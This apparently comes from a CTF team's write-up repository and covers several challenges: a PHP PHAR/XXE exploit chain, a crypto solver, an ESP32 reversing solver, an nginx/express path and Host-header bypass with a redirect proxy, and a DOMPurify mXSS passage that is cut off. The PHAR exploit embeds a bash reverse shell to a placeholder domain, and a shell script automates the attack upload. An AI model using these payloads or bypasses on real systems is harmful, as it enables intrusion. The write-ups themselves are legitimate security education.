a way such that `file` no longer detects it but php can still load it. This is possible because PHP parses the checksum differently from file. The char checksum is an 7-digit octal number. If there is any non-octal digit in that number, file will parse the checksum as -1 while PHP returns the checksum it parsed so far. So if we just modify our checksum from "0001234" to "001234x" the file thinks the checksum is invalid while PHP parses the file just fine. A patch that implements this in PHPGGC can be found at [3]. 89 | 90 | With that patch, we can generate our polyglot PHAR as follows: 91 | 92 | ```php 93 | folder="`bash -c 'bash -i >& /dev/tcp/MYDOMAIN.COM/1337 0>&1' >images/h 2>&1`"; 100 | $object->file_name="idc"; 101 | $object->extension="idc"; 102 | $object->tmp_name="idc"; 103 | 104 | $serialized = serialize($object); 105 | $jpeg="./empty.jpg"; 106 | $phar = new \PHPGGC\Phar\Tar($serialized, compact("jpeg")); 107 | file_put_contents('exploit.tar', $phar->generate()); 108 | ?> 109 | ``` 110 | 111 | Then upload `exploit.tar`, get the URL to it and upload the following XML file: 112 | 113 | ```xml 114 | 115 | 116 | ]> 117 | 118 | &xxe; 119 | mypass 120 | 121 | 122 | ``` 123 | 124 | And we get a shell, which we can use to obtain the flag: `midnight{R3lying_0n_PHP_4lw45_W0rKs}` 125 | 126 | # References 127 | - [1] https://github.com/s-n-t/presentations/raw/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 128 | - [2] https://github.com/ambionics/phpggc 129 | - [3] https://github.com/ambionics/phpggc/pull/48 130 | 131 | 132 | 133 | -------------------------------------------------------------------------------- /2019/midnightsunctf/rubenscube/script.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | php exploit.php 3 | id=$(uuidgen) 4 | curl -X POST http://ruben-01.play.midnightsunctf.se:8080/upload.php --form "image=@exploit.tar" -b "PHPSESSID=$id" 5 | img=$(curl http://ruben-01.play.midnightsunctf.se:8080/index.php -b "PHPSESSID=$id" | grep -o "images/[^'_]*.jpg") 6 | sed -e "s@PAYLOAD@$img@" exploit.xml | curl -X POST http://ruben-01.play.midnightsunctf.se:8080/upload.php --form "image=@-" -b "PHPSESSID=$id" 7 | -------------------------------------------------------------------------------- /2019/midnightsunctf/tulpan257/writeup.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["crypto", "probability"] 3 | author: "black-simon" 4 | --- 5 | # Challenge 6 | > We made a ZK protocol with a bit of HFS-flair to it! 7 | 8 | We were given the following source code: 9 | 10 | ```flag = "XXXXXXXXXXXXXXXXXXXXXXXXX" 11 | p = 257 12 | k = len(flag) + 1 13 | 14 | def prover(secret, beta=107, alpha=42): 15 | F = GF(p) 16 | FF. = GF(p)[] 17 | r = FF.random_element(k - 1) 18 | masked = (r * secret).mod(x^k + 1) 19 | y = [ 20 | masked(i) if randint(0, beta) >= alpha else 21 | masked(i) + F.random_element() 22 | for i in range(0, beta) 23 | ] 24 | return r.coeffs(), y 25 | 26 | sage: prover(flag) 27 | [141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49] [138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34] 28 | ``` 29 | 30 | # Solve 31 | 32 | If we know `masked`, we can simply compute the flag by multiplying with the inverse of r (mod x^k + 1), and then looking at the coefficients. 33 | 34 | But how do we get the value of `masked`? 35 | 36 | We can interpolate polynomials of degree 25 (it holds that `k=26`, therefore every polynomial mod `x^k + 1` has a degree of at most 25) with 26 sampled points from the polynomial. 37 | 38 | Since some of the points are polluted, we can only use a subset of them to interpolate the polynomial. We expect about 65 values to be correct and the rest to be incorrect. If we choose 26 values at random, the probability that they all are correct is 39 | ``` (65 nCr 26) / (107 nCr 26)``` which turns out to be about `1.91e-7` 40 | 41 | Therefore we expect to need about `5.23e6` trials to find the correct polynomial, and we can just brute-force that many attempts. 42 | 43 | # Implementation 44 | The following script yields the flag: 45 | ``` 46 | flag = "XXXXXXXXXXXXXXXXXXXXXXXXX" 47 | p = 257 48 | k = len(flag) + 1 49 | 50 | F = GF(p) 51 | FF. = GF(p)[] 52 | 53 | def prover(secret, beta=107, alpha=42): 54 | F = GF(p) 55 | FF. = GF(p)[] 56 | r = FF.random_element(k - 1) 57 | masked = (r * secret).mod(x^k + 1) 58 | y = [ 59 | masked(i) if randint(0, beta) >= alpha else 60 | masked(i) + F.random_element() 61 | for i in range(0, beta) 62 | ] 63 | return r.coefficients(), y 64 | 65 | coeffs = [141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49] 66 | 67 | values = [138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34] 68 | 69 | r = FF(coeffs) 70 | 71 | rinv = r.inverse_mod(x^k+1) 72 | import random 73 | import string 74 | for iii in range(1234567): 75 | if iii % 1000 == 0: 76 | print(iii) 77 | memes = random.sample(list(enumerate(values)), k) 78 | masked = FF.lagrange_polynomial(memes) 79 | 80 | flag = (rinv * masked).mod(x^k+1) 81 | res = flag.coefficients() 82 | if all([cc <= 0xff and chr(cc) in string.printable for cc in res]): 83 | break 84 | print(res) 85 | print(''.join(map(chr, res))) 86 | ``` 87 | 88 | After about 3 million attempts, we get the flag 89 | > N0p3_th1s_15_n0T_R1ng_LpN 90 | 91 | (FYI: there were 66 correct values provided) 92 | 93 | # Alternative solution 94 | Have a look at Reed-Solomon codes: [Wikipedia](https://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction) -------------------------------------------------------------------------------- /2020/hxpctf/README.md: -------------------------------------------------------------------------------- 1 | # Writeups for hxp CTF 2020 2 | -------------------------------------------------------------------------------- /2020/hxpctf/wisdom2/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | // IDE Reading Code taken from https://github.com/dhavalhirdhav/LearnOS/blob/fe764387c9f01bf67937adac13daace909e4093e/drivers/ata/ata.c 14 | 15 | #define STATUS_BSY 0x80 16 | #define STATUS_RDY 0x40 17 | #define STATUS_DRQ 0x08 18 | #define STATUS_DF 0x20 19 | #define STATUS_ERR 0x01 20 | 21 | // -Wall, -Werror :( 22 | void raiseIOPL(void); 23 | unsigned char port_byte_in(unsigned short port); 24 | uint16_t port_word_in (uint16_t port); 25 | void port_byte_out(unsigned short port, unsigned char data); 26 | static void ATA_wait_BSY(); 27 | static void ATA_wait_DRQ(); 28 | void read_sectors_ATA_PIO(uint32_t target_address, uint32_t LBA, uint8_t sector_count); 29 | 30 | unsigned char port_byte_in (unsigned short port) { 31 | unsigned char result; 32 | __asm__("in %%dx, %%al" : "=a" (result) : "d" (port)); 33 | return result; 34 | } 35 | 36 | void port_byte_out (unsigned short port, unsigned char data) { 37 | __asm__("out %%al, %%dx" : : "a" (data), "d" (port)); 38 | } 39 | 40 | uint16_t port_word_in (uint16_t port) { 41 | uint16_t result; 42 | __asm__("in %%dx, %%ax" : "=a" (result) : "d" (port)); 43 | return result; 44 | } 45 | 46 | #define BASE 0x1F0 47 | 48 | void read_sectors_ATA_PIO(uint32_t target_address, uint32_t LBA, uint8_t sector_count) 49 | { 50 | ATA_wait_BSY(); 51 | port_byte_out(BASE + 6,0xE0 | ((LBA >>24) & 0xF) | 0x10 /* drive 2 */); 52 | port_byte_out(BASE + 2,sector_count); 53 | port_byte_out(BASE + 3, (uint8_t) LBA); 54 | port_byte_out(BASE + 4, (uint8_t)(LBA >> 8)); 55 | port_byte_out(BASE + 5, (uint8_t)(LBA >> 16)); 56 | port_byte_out(BASE + 7,0x20); //Send the read command 57 | 58 | uint16_t *target = (uint16_t*) target_address; 59 | 60 | for (int j =0;j You know, everything has the angular. 8 | A bread, you, me and even the universe. 9 | Do you know the answer? 10 | 11 | [http://universe.chal.ctf.westerns.tokyo](http://universe.chal.ctf.westerns.tokyo) 12 | 13 | 14 | ## Solution 15 | For the first flag, we needed to bypass the nginx `location` directive: 16 | ```conf 17 | location /debug { 18 | # IP address restriction. 19 | # TODO: add allowed IP addresses here 20 | allow 127.0.0.1; 21 | deny all; 22 | } 23 | ``` 24 | And after that the one in the express-server: 25 | ```ts 26 | if (process.env.FLAG && req.path.includes('debug')) { 27 | return res.status(500).send('debug page is disabled in production env') 28 | } 29 | ``` 30 | 31 | We bypassed both checks by constructing a url with `//` because these characters seem to stop the route matching mechanism of angular/express and tell nginx that we are not entering `/debug` by traversing back with several `..`. So for now our exploit url is: `http://universe.chal.ctf.westerns.tokyo/debug/answer//../../a` 32 | 33 | Luckily, the express request matchers seems to decode url-encoded characters before matching, so we can just substitute `d` with `%64` and bypass the includes. 34 | 35 | When executing `curl --path-as-is -s http://universe.chal.ctf.westerns.tokyo/%64ebug/answer//../../a`, the flag can be found between several html-Tags. 36 | 37 | For the second of the two flags we need to bypass our request ip, because the express server checks it before sending the flag: 38 | ```ts 39 | server.get('/api/true-answer', (req, res) => { 40 | console.log(req.ips) 41 | if (req.ip.match(/127\.0\.0\.1/)) { 42 | res.json(`hello admin, this is true answer: ${process.env.FLAG2}`) 43 | } else { 44 | res.status(500).send('Access restricted!') 45 | } 46 | }); 47 | ``` 48 | 49 | We solved this by changing the Host-Header in our Request, because Angular parses it as the Host for internal fetch Requests: 50 | ``` 51 | renderOptions.url = 52 | renderOptions.url || `${req.protocol}://${(req.get('host') || '')}${req.originalUrl}`; 53 | ``` 54 | 55 | With this we can exploit a fetch call on the debug Page: 56 | ``` 57 | this.service.getAnswer().subscribe((answer: string) => { 58 | this.answer = answer 59 | }) 60 | ``` 61 | 62 | By excuting curl again pointing the host to our server running a Proxy script, we get the flag: `curl --path-as-is -s http://universe.chal.ctf.westerns.tokyo/%64ebug/answer//../../a -H "Host: example.com"` 63 | 64 | 65 | ## Proxy Server 66 | ```python 67 | from http.server import BaseHTTPRequestHandler, HTTPServer 68 | import logging 69 | 70 | class S(BaseHTTPRequestHandler): 71 | def _set_response(self): 72 | self.send_response(301) 73 | self.send_header('Location', 'http://127.0.0.1/api/true-answer') 74 | self.end_headers() 75 | 76 | def do_GET(self): 77 | logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) 78 | self._set_response() 79 | 80 | def run(server_class=HTTPServer, handler_class=S, port=8080): 81 | logging.basicConfig(level=logging.INFO) 82 | server_address = ('', port) 83 | httpd = server_class(server_address, handler_class) 84 | logging.info('Starting httpd...\n') 85 | try: 86 | httpd.serve_forever() 87 | except KeyboardInterrupt: 88 | pass 89 | httpd.server_close() 90 | logging.info('Stopping httpd...\n') 91 | 92 | if __name__ == '__main__': 93 | from sys import argv 94 | 95 | if len(argv) == 2: 96 | run(port=int(argv[1])) 97 | else: 98 | run() 99 | ``` 100 | 101 | ## Flag 102 | `TWCTF{ky0-wa-dare-n0-donna-yume-ni?kurukuru-mewkledreamy!}` 103 | `TWCTF{you-have-to-eat-tomato-yume-chan!}` -------------------------------------------------------------------------------- /2020/twctf/apple/solve.py: -------------------------------------------------------------------------------- 1 | mask = 0xFFFFFFFF 2 | 3 | def check1(inp): 4 | return [ 5 | ((inp[1]+1) * inp[0]) & mask, 6 | ((inp[2]+1) * inp[1]) & mask, 7 | ((inp[3]+1) * inp[2]) & mask, 8 | ((inp[0]+1) * inp[3]) & mask, 9 | ] 10 | 11 | def check2(inp): 12 | return [ 13 | (inp[0] + 0xEEEC09DC) & mask, 14 | (inp[1] + 0x03774ED1) & mask, 15 | (inp[2] + 0x0C443FFF) & mask, 16 | (inp[3] + 0x9FA8FC57) & mask, 17 | ] 18 | 19 | 20 | def magicmod(a, b): 21 | return btor.Cond(b == 0, a*a, a % b) 22 | 23 | def check3(inp): 24 | return [ 25 | (inp[0] + magicmod(inp[0] , inp[1])) & mask, 26 | (inp[1] + magicmod(inp[1] , inp[2])) & mask, 27 | (inp[2] + magicmod(inp[2] , inp[3])) & mask, 28 | (inp[3] + magicmod(inp[3] , inp[0])) & mask, 29 | ] 30 | 31 | def check4(inp): 32 | return [ 33 | (inp[0] + 0x0426C4E9) & mask, 34 | (inp[1] + 0x58918FCD) & mask, 35 | (inp[2] + 0xFA86D177) & mask, 36 | (inp[3] + 0x6D320FED) & mask, 37 | ] 38 | 39 | def check5(inp): 40 | return [ 41 | (inp[0] ^ 0x44D3E8D9) & mask, 42 | (inp[1] ^ 0x47592C79) & mask, 43 | (inp[2] ^ 0xEEBCD1C8) & mask, 44 | (inp[3] ^ 0xF4C4E2F8) & mask, 45 | ] 46 | 47 | def printh(pref, inp): 48 | print(pref+": "+" ".join(hex(x) for x in inp)) 49 | 50 | def doHash(inp): 51 | for i in range(4): 52 | inp = check1(inp) 53 | inp = check2(inp) 54 | inp = check3(inp) 55 | inp = check4(inp) 56 | inp = check5(inp) 57 | return inp 58 | 59 | from pyboolector import * 60 | import struct 61 | 62 | # initialize boolector, and enable model generation, which is needed to print results when SAT 63 | btor = Boolector() 64 | btor.Set_opt(BTOR_OPT_MODEL_GEN, 1) 65 | 66 | inp = [btor.Var(btor.BitVecSort(32)) for _ in range(4)] 67 | final = doHash(inp) 68 | 69 | target = [ 70 | 0x5935f1de, 71 | 0xb63725e7, 72 | 0xdfa10069, 73 | 0x4e556f64, 74 | ] 75 | 76 | for j, i in enumerate(inp): 77 | for x in range(0,32,8): 78 | char = btor.Slice(i, x+7, x) 79 | btor.Assert(0x20 <= char) 80 | btor.Assert(char <= 0x7e) 81 | 82 | for i, t in zip(final, target): 83 | btor.Assert(i == t) 84 | 85 | print("Solving...") 86 | result = btor.Sat() 87 | 88 | if result == btor.SAT: 89 | flag = b"" 90 | print("SAT") 91 | print(",".join([hex(int(x.assignment,2)) for x in inp])) 92 | for x in inp: 93 | flag += struct.pack(" Clarification and hint: 7 | > There's no problem found in the binary. I've confirmed it accepts the correct flag. Try out a special case. 8 | 9 | Attached: [apple.tar.gz](https://github.com/6f70/twctf2020-apple/blob/public/apple.tar.gz) 10 | 11 | 12 | ## Solution 13 | This was a really nice hardware reversing challenge, based on the ESP32. We were given a 4MB flash image of an ESP32, and a custom version of QEMU capable of running the image. It is a basic crack-me, you input a flag and it tells you if it is correct or wrong via some internal algorithm. The goal is to reverse this algorithm. 14 | 15 | 16 | Luckily my team-member 0x4d5a recently created his own [challenge](https://github.com/allesctf/2020/tree/master/challenges/especially-a-lot-of-fun/public) based on this board, which I test-solved, so I already had all necessary tools ready. 17 | 18 | These are mainly ghidra extensions provided by @ebiroll, which allow loading, disassembling and even decompiling of xtensa binaries in ghirda: https://github.com/Ebiroll/ghidra-xtensa and https://github.com/Ebiroll/esp32_flash_loader 19 | 20 | In addition, I already had a Function-ID database which was able to tag some functions in the binary, and a custom script which greedily marked all `entry` instructions as function entries. Without this, ghidra struggled to create appropriate function definitions. This is problematic, since x-refs did not work correctly. 21 | 22 | The procedure of creating a good ghidra database is: 23 | 1. use the @ebiroll's loader to load the binary at the correct offset 24 | 2. DO NOT use autoanalysis yet 25 | 3. run the custom function tagger 26 | 4. run auto-analysis 27 | 5. go to strings, search for "Wrong.", the output seen when entering a wrong flag, and look at xrefs. 28 | 6. this directly lists the function where the checksum is calculated and compared. The decompiler works somewhat, but does not recognize some loops. 29 | 7. reimplement checksum in python 30 | 31 | ### Checksum 32 | The checksum is based on a 16 byte state, consisting of 4x4byte integers. These are initially seeded with the input, mangled a lot, and finally compared to a hardcoded value. 33 | It consists of 5 rounds, each run 4 times in a row. The round-functions are contained in a function-lookup table. 34 | 35 | In the decompiler we see: 36 | ``` 37 | ## checksum 1 38 | local_30 = (param_1[1] + 1) * *param_1; 39 | iStack44 = (param_1[2] + 1) * param_1[1]; 40 | iStack40 = (param_1[3] + 1) * param_1[2]; 41 | iStack36 = (*param_1 + 1) * param_1[3]; 42 | 43 | ## checksum 2 44 | *param_1 = *param_1 + 0xEEEC09DC; 45 | param_1[1] = param_1[1] + 0x03774ED1; 46 | param_1[2] = param_1[2] + 0x0C443FFF; 47 | param_1[3] = param_1[3] + 0x9FA8FC57; 48 | 49 | ## checksum 3 50 | uVar1 = *param_1; 51 | uVar2 = param_1[1]; 52 | local_30 = uVar1 + uVar1 % uVar2; 53 | uVar3 = param_1[2]; 54 | iStack44 = uVar2 + uVar2 % uVar3; 55 | uVar2 = param_1[3]; 56 | iStack40 = uVar3 + uVar3 % uVar2; 57 | iStack36 = uVar2 + uVar2 % uVar1; 58 | 59 | ## checksum 4 60 | *param_1 = *param_1 + 0x0426C4E9; 61 | param_1[1] = param_1[1] + 0x58918FCD; 62 | param_1[2] = param_1[2] + 0xFA86D177; 63 | param_1[3] = param_1[3] + 0x6D320FED; 64 | 65 | ## checksum 5 66 | *param_1 = *param_1 ^ 0x44D3E8D9; 67 | param_1[1] = param_1[1] ^ 0x47592C79; 68 | param_1[2] = param_1[2] ^ 0xEEBCD1C8; 69 | param_1[3] = param_1[3] ^ 0xF4C4E2F8; 70 | 71 | ## final comparison against 72 | 0x5935F1DE 73 | 0xB63725E7 74 | 0xDFA10069 75 | 0x4E556F64 76 | ``` 77 | 78 | Further, we can also see that the input is restricted to exactly 16 characters, and only chars 0x20 to 0x7e. 79 | 80 | I implemented each checksum stage individually, checking with QEMU against the real solution for validity. After some tweaking I had the exact same output on all inputs I tried. Using Boolector, the checksum was trivial to reverse, though not always uniqely. Only one input refused to be reversed: The actual flag. This confused me for a while, and I ran a script in the background trying out random inputs. Around ten thousand tries later, still everything matched, and I worked on another challenge a bit. 81 | 82 | Later the autor confirmed that the challenge is working as intended, and a special case should be considered. I opened the xtensa-processor manual and looked at the documentation for each opcode used in the checksum. By doing this I quickly found the issue: The modulo operation. This is done internally with an division, so it can create a Integer Divide By Zero exception. This case is so rare, it should basically never happen, but the constants used in the challenge were chosen specifically so that it occurs. Normally, such an error will crash the program. But the challenge author hooked this exception, and continued execution normally. 83 | 84 | This hypothesis was tested with QEMU. The mod register was set to zero, and various values for the operand tried out. This quickly revealed, that it was being squared: 85 | ``` 86 | 0 % 0 == 0 87 | 1 % 0 == 1 88 | 2 % 0 == 4 89 | 3 % 0 == 9 90 | 100 % 0 == 10000 91 | 0x1000000 % 0 == 0 92 | ``` 93 | 94 | Using this slight modification, my reversing script also worked for the flag. It is attached in [solve.py](./solve.py). 95 | 96 | I really liked that a qemu version was provided prebuild, so there was no advantage for people with access to real hardware! All in all, great challenge :) 97 | 98 | 99 | ### Flag 100 | `TWCTF{Rin9oWoT@berun9o}` -------------------------------------------------------------------------------- /2020/twctf/bfnote/writeup.md: -------------------------------------------------------------------------------- 1 | # bfnote 2 | Category: Web 3 | 4 | Solves: 18, Score: 320 5 | 6 | > Share your best Brainf*ck code at [bfnote](https://bfnote.chal.ctf.westerns.tokyo/) 7 | 8 | The website allows a user to upload some brainfuck code and executes it when visited. The backend code is not that important, but can be viewed using [https://bfnote.chal.ctf.westerns.tokyo/?source](https://bfnote.chal.ctf.westerns.tokyo/?source) 9 | 10 | The user input is sanitized using `DOMPurify`. We did some DOM clobbering to overwrite `CONFIG`and set `unsafeRender`, but had no idea how to solve this challenge. The next morning we started to look at it again. One of our team members noticed that 10 minutes before cure53 [tweeted](https://twitter.com/cure53berlin/status/1307602849455640576) about a new release that fixed a mXSS variation. That was unfortunate, but since it was a competetion we just did a git diff and found the payload in a test. 11 | ```js 12 | { 13 | "title": "Tests against nesting-based mXSS behavior 2/2", 14 | "payload": "